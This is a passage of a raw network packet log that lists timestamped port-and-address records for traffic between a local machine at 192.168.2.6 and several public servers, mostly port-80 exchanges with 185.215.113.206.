Nov 13, 2024 18:08:35.573951006 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.578182936 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.593674898 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.593707085 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.601783037 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.601836920 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.601967096 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.601980925 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.602083921 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.609286070 CET	49956	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.609325886 CET	443	49956	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:35.609477043 CET	49956	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.609894037 CET	49956	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.609910011 CET	443	49956	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:35.610574007 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.610599995 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.619976044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.619988918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.619999886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620038033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.620038033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.620675087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620712996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620723009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620738983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620750904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620754004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.620762110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620773077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620783091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.620786905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620816946 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.620848894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.620974064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620984077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.620994091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621005058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621016026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621027946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621040106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621051073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621053934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621053934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621062994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621074915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621083975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621098042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621098042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621113062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621123075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621131897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621148109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621155977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621155977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621160030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621170998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621181011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621191025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621196985 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621196985 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621274948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621402025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621413946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621423960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621433973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621447086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621462107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621469975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621469975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621473074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621484041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621495962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621515036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621515036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621519089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621536016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621546030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621556044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621556044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621556044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621567011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621579885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621591091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621603012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621606112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621606112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621612072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.621650934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.621650934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622067928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622088909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622100115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622112036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622117996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622117996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622123003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622131109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622133017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622145891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622149944 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622155905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622165918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622176886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622189045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622195005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622210979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622221947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622231007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622231007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622234106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622245073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622253895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622266054 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622277975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622284889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622284889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622287035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622299910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622322083 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622322083 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622345924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622509956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622525930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622536898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622548103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622558117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622569084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622571945 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622571945 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622580051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622591019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622613907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622613907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622646093 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622662067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622673988 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622684956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622695923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622706890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622724056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622737885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622747898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622760057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622770071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622771978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622771978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622781038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622791052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622802973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.622811079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622811079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622839928 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.622879982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.623469114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623482943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623495102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623507023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623517990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623523951 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.623528004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623538971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623545885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.623549938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623562098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623573065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623581886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.623581886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.623606920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.623675108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.623837948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624095917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624294043 CET	49957	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.624313116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.624313116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.624329090 CET	443	49957	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:35.624392986 CET	49957	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.624697924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624710083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624718904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624773979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.624773979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.624783039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624888897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624901056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624912024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624923944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624929905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.624929905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.624934912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.624953032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625008106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625009060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625019073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625025034 CET	49957	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.625029087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625037909 CET	443	49957	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:35.625041008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625052929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625067949 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625067949 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625133038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625144958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625150919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625158072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625174046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625188112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625199080 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625349998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625369072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625430107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625441074 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625441074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625452042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625462055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625473022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625483036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625510931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625511885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625526905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625749111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625766039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625777006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625787020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625799894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.625817060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625817060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.625847101 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626192093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626204014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626216888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626266956 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626266956 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626281023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626291037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626302004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626312971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626326084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626353979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626353979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626410007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626411915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626422882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626432896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626450062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626455069 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626461983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626472950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626485109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626485109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626485109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626545906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626548052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626559019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626569986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626586914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626595020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626631975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626631975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626708984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626720905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626732111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626785994 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626785994 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626796007 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626807928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626818895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626830101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626842976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626846075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626869917 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626924992 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626933098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626945019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626955032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626974106 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.626979113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.626990080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627001047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627012014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627022982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627032995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627032995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627150059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627177000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627188921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627199888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627213955 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627224922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627228975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627235889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627250910 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627252102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627263069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627274990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627283096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627315044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627324104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627484083 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627521992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627537012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627548933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627559900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627572060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627583027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.627607107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.627640963 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.628916025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.628930092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.628943920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.628963947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.628973961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.628984928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.628998041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629003048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629003048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629033089 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629170895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629182100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629193068 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629204035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629214048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629225016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629235029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629235983 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629235983 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629251003 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629272938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629291058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629302979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629317999 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629340887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629514933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629527092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629538059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629549980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629560947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629569054 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629575014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629585981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629595995 CET	80	49864	185.215.113.206	192.168.2.6
